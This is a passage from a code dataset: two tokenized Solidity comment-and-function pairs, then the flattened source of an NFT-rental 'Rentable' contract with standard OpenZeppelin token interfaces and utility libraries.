./full_match/1/0xDbadeFb972132C82BE8601Fa7b9Ba4801262271d/sources/@exoda/contracts/access/Ownable.sol
* @notice Throws if called by any account other than the owner./
{ require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; }
16,409,186
[ 1, 21845, 309, 2566, 635, 1281, 2236, 1308, 2353, 326, 3410, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 95, 203, 202, 202, 6528, 12, 8443, 1435, 422, 389, 3576, 12021, 9334, 315, 5460, 429, 30, 4894, 353, 486, 326, 3410, 8863, 203, 202, 202, 67, 31, 203, 202, 97, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/83/0x34EFd5A7CB4deB2c04a57e028bcb4b712a3fF48B/sources/contracts/stake/VeSumer.sol
* @notice Apply setting external contract to check approved smart contract wallets/
function apply_smart_wallet_checker() external onlyAdmin { smart_wallet_checker = future_smart_wallet_checker; emit SmartWalletCheckerApplied(smart_wallet_checker); }
9,556,207
[ 1, 7001, 3637, 3903, 6835, 358, 866, 20412, 13706, 6835, 17662, 2413, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 2230, 67, 26416, 67, 19177, 67, 19243, 1435, 3903, 1338, 4446, 288, 203, 565, 13706, 67, 19177, 67, 19243, 273, 3563, 67, 26416, 67, 19177, 67, 19243, 31, 203, 565, 3626, 19656, 16936, 8847, 16203, 12, 26416, 67, 19177, 67, 19243, 1769, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.11; import "IERC721.sol"; import "IERC721Receiver.sol"; import "IERC20.sol"; import "SafeERC20.sol"; import "SafeMath.sol"; import "Address.sol"; import "Ownable.sol"; import "ReentrancyGuard.sol"; import "Security4.sol"; import "ORentable.sol"; import "YRentable.sol"; import "WRentable.sol"; import "RentableHooks.sol"; contract Rentable is Security4, IERC721Receiver, RentableHooks, ReentrancyGuard { using Address for address; using SafeMath for uint256; using SafeERC20 for IERC20; struct LeaseConditions { uint256 maxTimeDuration; uint256 pricePerBlock; address paymentTokenAddress; uint256 fixedFee; uint256 fee; } struct Lease { address paymentTokenAddress; uint256 eta; uint256 qtyToPullRemaining; uint256 feesToPullRemaining; uint256 lastUpdated; address tokenAddress; uint256 tokenId; address from; address to; } address internal _yToken; mapping(address => mapping(uint256 => LeaseConditions)) internal _leasesConditions; mapping(uint256 => Lease) internal _leases; mapping(address => mapping(uint256 => uint256)) internal _currentLeases; mapping(address => address) internal _wrentables; mapping(address => ORentable) internal _orentables; mapping(address => bool) public paymentTokenAllowlist; uint256 public constant BASE_FEE = 10000; uint256 internal _fixedFee; uint256 internal _fee; address payable _feeCollector; event Deposit( address indexed who, address indexed tokenAddress, uint256 indexed tokenId ); event UpdateLeaseConditions( address indexed tokenAddress, uint256 indexed tokenId, address paymentTokenAddress, uint256 maxTimeDuration, uint256 pricePerBlock ); event Withdraw( address indexed who, address indexed tokenAddress, uint256 indexed tokenId ); event Rent( address from, address indexed to, address indexed tokenAddress, uint256 indexed tokenId, uint256 yTokenId ); event Claim( address indexed who, address indexed tokenAddress, uint256 indexed tokenId, address paymentTokenAddress, uint256 qty, uint256 yTokenId ); event RentEnds( address from, address indexed to, address indexed tokenAddress, uint256 indexed tokenId, uint256 yTokenId ); constructor( address _governance, address _operator, address payable _emergencyImplementation ) Security4(_governance, _operator, _emergencyImplementation) {} function getORentable(address wrapped_) external view returns (address) { return address(_orentables[wrapped_]); } function setORentable(address wrapped_, address oRentable_) external onlyGovernance { _orentables[wrapped_] = ORentable(oRentable_); } function setYToken(address yToken_) external onlyGovernance { _yToken = yToken_; } function getYToken() external view returns (address) { return _yToken; } function getWRentable(address wrapped_) external view returns (address) { return address(_wrentables[wrapped_]); } function setWRentable(address wrapped_, address rentable_) external onlyGovernance { _wrentables[wrapped_] = rentable_; } function getFixedFee() external view returns (uint256) { return _fixedFee; } function setFixedFee(uint256 fixedFee) external onlyGovernance { _fixedFee = fixedFee; } function getFee() external view returns (uint256) { return _fee; } function setFee(uint256 fee) external onlyGovernance { _fee = fee; } function getFeeCollector() external view returns (address) { return _feeCollector; } function setFeeCollector(address payable feeCollector) external onlyGovernance { _feeCollector = feeCollector; } function enablePaymentToken(address paymentTokenAddress) external onlyGovernance { paymentTokenAllowlist[paymentTokenAddress] = true; } function disablePaymentToken(address paymentTokenAddress) external onlyGovernance { paymentTokenAllowlist[paymentTokenAddress] = false; } function _getExistingORentable(address tokenAddress) internal view virtual returns (ORentable oRentable) { oRentable = _orentables[tokenAddress]; require( address(oRentable) != address(0), "Token currently not supported" ); } function _getExistingORentableCheckOwnership( address tokenAddress, uint256 tokenId, address user ) internal virtual returns (ORentable oRentable) { oRentable = _getExistingORentable(tokenAddress); require(oRentable.ownerOf(tokenId) == user, "The token must be yours"); } modifier onlyOTokenOwner(address tokenAddress, uint256 tokenId) { _getExistingORentableCheckOwnership( tokenAddress, tokenId, _msgSender() ); _; } function _deposit( address tokenAddress, uint256 tokenId, address to, bool skipTransfer ) internal returns (uint256 oRentableId) { ORentable oRentable = _getExistingORentable(tokenAddress); if (!skipTransfer) { IERC721(tokenAddress).transferFrom(to, address(this), tokenId); } else { require( IERC721(tokenAddress).ownerOf(tokenId) == address(this), "Token not deposited" ); } oRentableId = oRentable.mint(to, tokenId); _postDeposit(tokenAddress, tokenId, to); emit Deposit(to, tokenAddress, tokenId); } function _depositAndList( address tokenAddress, uint256 tokenId, address to, bool skipTransfer, address paymentTokenAddress, uint256 maxTimeDuration, uint256 pricePerBlock ) internal returns (uint256 oRentableId) { oRentableId = _deposit(tokenAddress, tokenId, to, skipTransfer); _createOrUpdateLeaseConditions( tokenAddress, tokenId, paymentTokenAddress, maxTimeDuration, pricePerBlock ); } function deposit(address tokenAddress, uint256 tokenId) external nonReentrant whenPausedthenProxy onlyAllowlisted returns (uint256) { return _deposit(tokenAddress, tokenId, _msgSender(), false); } function depositAndList( address tokenAddress, uint256 tokenId, address paymentTokenAddress, uint256 maxTimeDuration, uint256 pricePerBlock ) external nonReentrant whenPausedthenProxy onlyAllowlisted returns (uint256) { return _depositAndList( tokenAddress, tokenId, _msgSender(), false, paymentTokenAddress, maxTimeDuration, pricePerBlock ); } function withdraw(address tokenAddress, uint256 tokenId) external nonReentrant whenPausedthenProxy onlyAllowlisted { address user = _msgSender(); ORentable oRentable = _getExistingORentableCheckOwnership( tokenAddress, tokenId, user ); uint256 leaseId = _currentLeases[tokenAddress][tokenId]; if (leaseId != 0) { Lease memory currentLease = _leases[leaseId]; require( block.number > currentLease.eta, "Current lease still pending" ); } IERC721(tokenAddress).transferFrom(address(this), user, tokenId); delete _leasesConditions[tokenAddress][tokenId]; oRentable.burn(tokenId); emit Withdraw(user, tokenAddress, tokenId); } function leasesConditions(address tokenAddress, uint256 tokenId) external view returns (LeaseConditions memory) { return _leasesConditions[tokenAddress][tokenId]; } function currentLeases(address tokenAddress, uint256 tokenId) external view returns (Lease memory) { return _leases[_currentLeases[tokenAddress][tokenId]]; } function _createOrUpdateLeaseConditions( address tokenAddress, uint256 tokenId, address paymentTokenAddress, uint256 maxTimeDuration, uint256 pricePerBlock ) internal { require( paymentTokenAllowlist[paymentTokenAddress], "Not supported payment token" ); LeaseConditions storage lease = _leasesConditions[tokenAddress][ tokenId ]; lease.maxTimeDuration = maxTimeDuration; lease.pricePerBlock = pricePerBlock; lease.paymentTokenAddress = paymentTokenAddress; lease.fixedFee = _fixedFee; lease.fee = _fee; _postList( tokenAddress, tokenId, _msgSender(), maxTimeDuration, pricePerBlock ); emit UpdateLeaseConditions( tokenAddress, tokenId, paymentTokenAddress, maxTimeDuration, pricePerBlock ); } function _isExpired(Lease memory lease) internal virtual returns (bool) { return block.number >= lease.eta; } function _expireLease(uint256 leaseId) internal virtual { Lease memory lease = _leases[leaseId]; require(_isExpired(lease), "Current lease still pending"); if (WRentable(_wrentables[lease.tokenAddress]).exists(lease.tokenId)) { WRentable(_wrentables[lease.tokenAddress]).burn(lease.tokenId); _postExpireRent( leaseId, lease.tokenAddress, lease.tokenId, lease.from, lease.to ); emit RentEnds( lease.from, lease.to, lease.tokenAddress, lease.tokenId, leaseId ); } } function createOrUpdateLeaseConditions( address tokenAddress, uint256 tokenId, address paymentTokenAddress, uint256 maxTimeDuration, uint256 pricePerBlock ) external onlyOTokenOwner(tokenAddress, tokenId) whenPausedthenProxy onlyAllowlisted { _createOrUpdateLeaseConditions( tokenAddress, tokenId, paymentTokenAddress, maxTimeDuration, pricePerBlock ); } function deleteLeaseConditions(address tokenAddress, uint256 tokenId) external onlyOTokenOwner(tokenAddress, tokenId) whenPausedthenProxy onlyAllowlisted { delete _leasesConditions[tokenAddress][tokenId]; } function createLease( address tokenAddress, uint256 tokenId, uint256 duration ) external payable nonReentrant whenPausedthenProxy { ORentable oRentable = _getExistingORentable(tokenAddress); address from = oRentable.ownerOf(tokenId); LeaseConditions memory leaseCondition = _leasesConditions[tokenAddress][ tokenId ]; require(leaseCondition.maxTimeDuration > 0, "Not available"); uint256 leaseId = _currentLeases[tokenAddress][tokenId]; if (leaseId != 0) { _expireLease(leaseId); } require( duration <= leaseCondition.maxTimeDuration, "Duration greater than conditions" ); address user = _msgSender(); uint256 paymentQty = leaseCondition.pricePerBlock.mul(duration); // Fee calc uint256 qtyToPullRemaining = paymentQty.sub(leaseCondition.fixedFee); uint256 feesToPullRemaining = qtyToPullRemaining .mul(leaseCondition.fee) .div(BASE_FEE); qtyToPullRemaining = qtyToPullRemaining.sub(feesToPullRemaining); leaseId = YRentable(_yToken).mint(from); Lease storage lease = _leases[leaseId]; lease.eta = block.number.add(duration); lease.qtyToPullRemaining = qtyToPullRemaining; lease.feesToPullRemaining = feesToPullRemaining; lease.lastUpdated = block.number; lease.tokenAddress = tokenAddress; lease.tokenId = tokenId; lease.from = from; lease.to = user; lease.paymentTokenAddress = leaseCondition.paymentTokenAddress; _currentLeases[tokenAddress][tokenId] = leaseId; WRentable(_wrentables[tokenAddress]).mint(user, tokenId); if (leaseCondition.paymentTokenAddress == address(0)) { require(msg.value >= paymentQty, "Not enough funds"); if (msg.value > paymentQty) { Address.sendValue(payable(user), msg.value.sub(paymentQty)); } if (leaseCondition.fixedFee > 0) { Address.sendValue(_feeCollector, leaseCondition.fixedFee); } } else { IERC20(leaseCondition.paymentTokenAddress).safeTransferFrom( user, address(this), paymentQty ); if (msg.value > 0) { Address.sendValue(payable(user), msg.value); } if (leaseCondition.fixedFee > 0) { IERC20(leaseCondition.paymentTokenAddress).safeTransfer( _feeCollector, leaseCondition.fixedFee ); } } _postCreateRent(leaseId, tokenAddress, tokenId, duration, from, user); emit Rent(from, user, tokenAddress, tokenId, leaseId); } function redeemLease(uint256 leaseId) external nonReentrant whenPausedthenProxy onlyAllowlisted { address user = _msgSender(); require( IERC721(_yToken).ownerOf(leaseId) == user, "You should own respective yRentable" ); Lease storage lease2redeem = _leases[leaseId]; // Calculate linearly the amount remaining require( lease2redeem.qtyToPullRemaining > 0, "Nothing to redeem for the lease" ); uint256 amount2Redeem = 0; uint256 fees2Redeem = 0; if (_isExpired(lease2redeem)) { amount2Redeem = lease2redeem.qtyToPullRemaining; fees2Redeem = lease2redeem.feesToPullRemaining; _expireLease(leaseId); } else { amount2Redeem = lease2redeem .qtyToPullRemaining .mul(block.number.sub(lease2redeem.lastUpdated)) .div(lease2redeem.eta.sub(lease2redeem.lastUpdated)); if (lease2redeem.feesToPullRemaining > 0) { fees2Redeem = lease2redeem .feesToPullRemaining .mul(block.number.sub(lease2redeem.lastUpdated)) .div(lease2redeem.eta.sub(lease2redeem.lastUpdated)); } } // approx safety check if (amount2Redeem > lease2redeem.qtyToPullRemaining) { amount2Redeem = lease2redeem.qtyToPullRemaining; } if (fees2Redeem > lease2redeem.feesToPullRemaining) { fees2Redeem = lease2redeem.feesToPullRemaining; } lease2redeem.qtyToPullRemaining = lease2redeem.qtyToPullRemaining.sub( amount2Redeem ); if (fees2Redeem > 0) { lease2redeem.feesToPullRemaining = lease2redeem .feesToPullRemaining .sub(fees2Redeem); } lease2redeem.lastUpdated = block.number; if (lease2redeem.paymentTokenAddress == address(0)) { Address.sendValue(payable(user), amount2Redeem); if (fees2Redeem > 0) { Address.sendValue(_feeCollector, fees2Redeem); } } else { IERC20(lease2redeem.paymentTokenAddress).safeTransfer( user, amount2Redeem ); if (fees2Redeem > 0) { IERC20(lease2redeem.paymentTokenAddress).safeTransfer( _feeCollector, fees2Redeem ); } } emit Claim( user, lease2redeem.tokenAddress, lease2redeem.tokenId, lease2redeem.paymentTokenAddress, amount2Redeem, leaseId ); } function expireLease(uint256 leaseId) external whenPausedthenProxy { _expireLease(leaseId); } function expireLeases(uint256[] calldata leaseIds) external whenPausedthenProxy { for (uint256 i = 0; i < leaseIds.length; i++) { _expireLease(leaseIds[i]); } } function afterWTokenTransfer( address tokenAddress, address from, address to, uint256 tokenId ) external whenPausedthenProxy { require( _msgSender() == _wrentables[tokenAddress], "Only proper WRentables allowed" ); uint256 leaseId = _currentLeases[tokenAddress][tokenId]; if (leaseId != 0) { Lease storage currentLease = _leases[leaseId]; currentLease.to = to; } address lib = _libraries[tokenAddress]; if (lib != address(0)) { lib.functionDelegateCall( abi.encodeCall( ICollectionLibrary(lib).postWTokenTransfer, (tokenAddress, tokenId, from, to) ), "" ); } } function afterOTokenTransfer( address tokenAddress, address from, address to, uint256 tokenId ) external whenPausedthenProxy { require( _msgSender() == address(_orentables[tokenAddress]), "Only proper ORentables allowed" ); uint256 leaseId = _currentLeases[tokenAddress][tokenId]; bool rented = false; if (leaseId != 0) { Lease storage currentLease = _leases[leaseId]; currentLease.from = to; rented = !(_isExpired(currentLease)); } address lib = _libraries[tokenAddress]; if (lib != address(0)) { lib.functionDelegateCall( abi.encodeCall( ICollectionLibrary(lib).postOTokenTransfer, (tokenAddress, tokenId, from, to, rented) ), "" ); } } function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public virtual override nonReentrant whenPausedthenProxy returns (bytes4) { require( !allowlistEnabled || _isAllowlisted(operator), "User not allowed" ); if (data.length == 0) { _deposit(_msgSender(), tokenId, from, true); } else { ( address paymentTokenAddress, uint256 maxTimeDuration, uint256 pricePerBlock ) = abi.decode(data, (address, uint256, uint256)); _depositAndList( _msgSender(), tokenId, from, true, paymentTokenAddress, maxTimeDuration, pricePerBlock ); } return this.onERC721Received.selector; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "IERC20.sol"; import "Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to 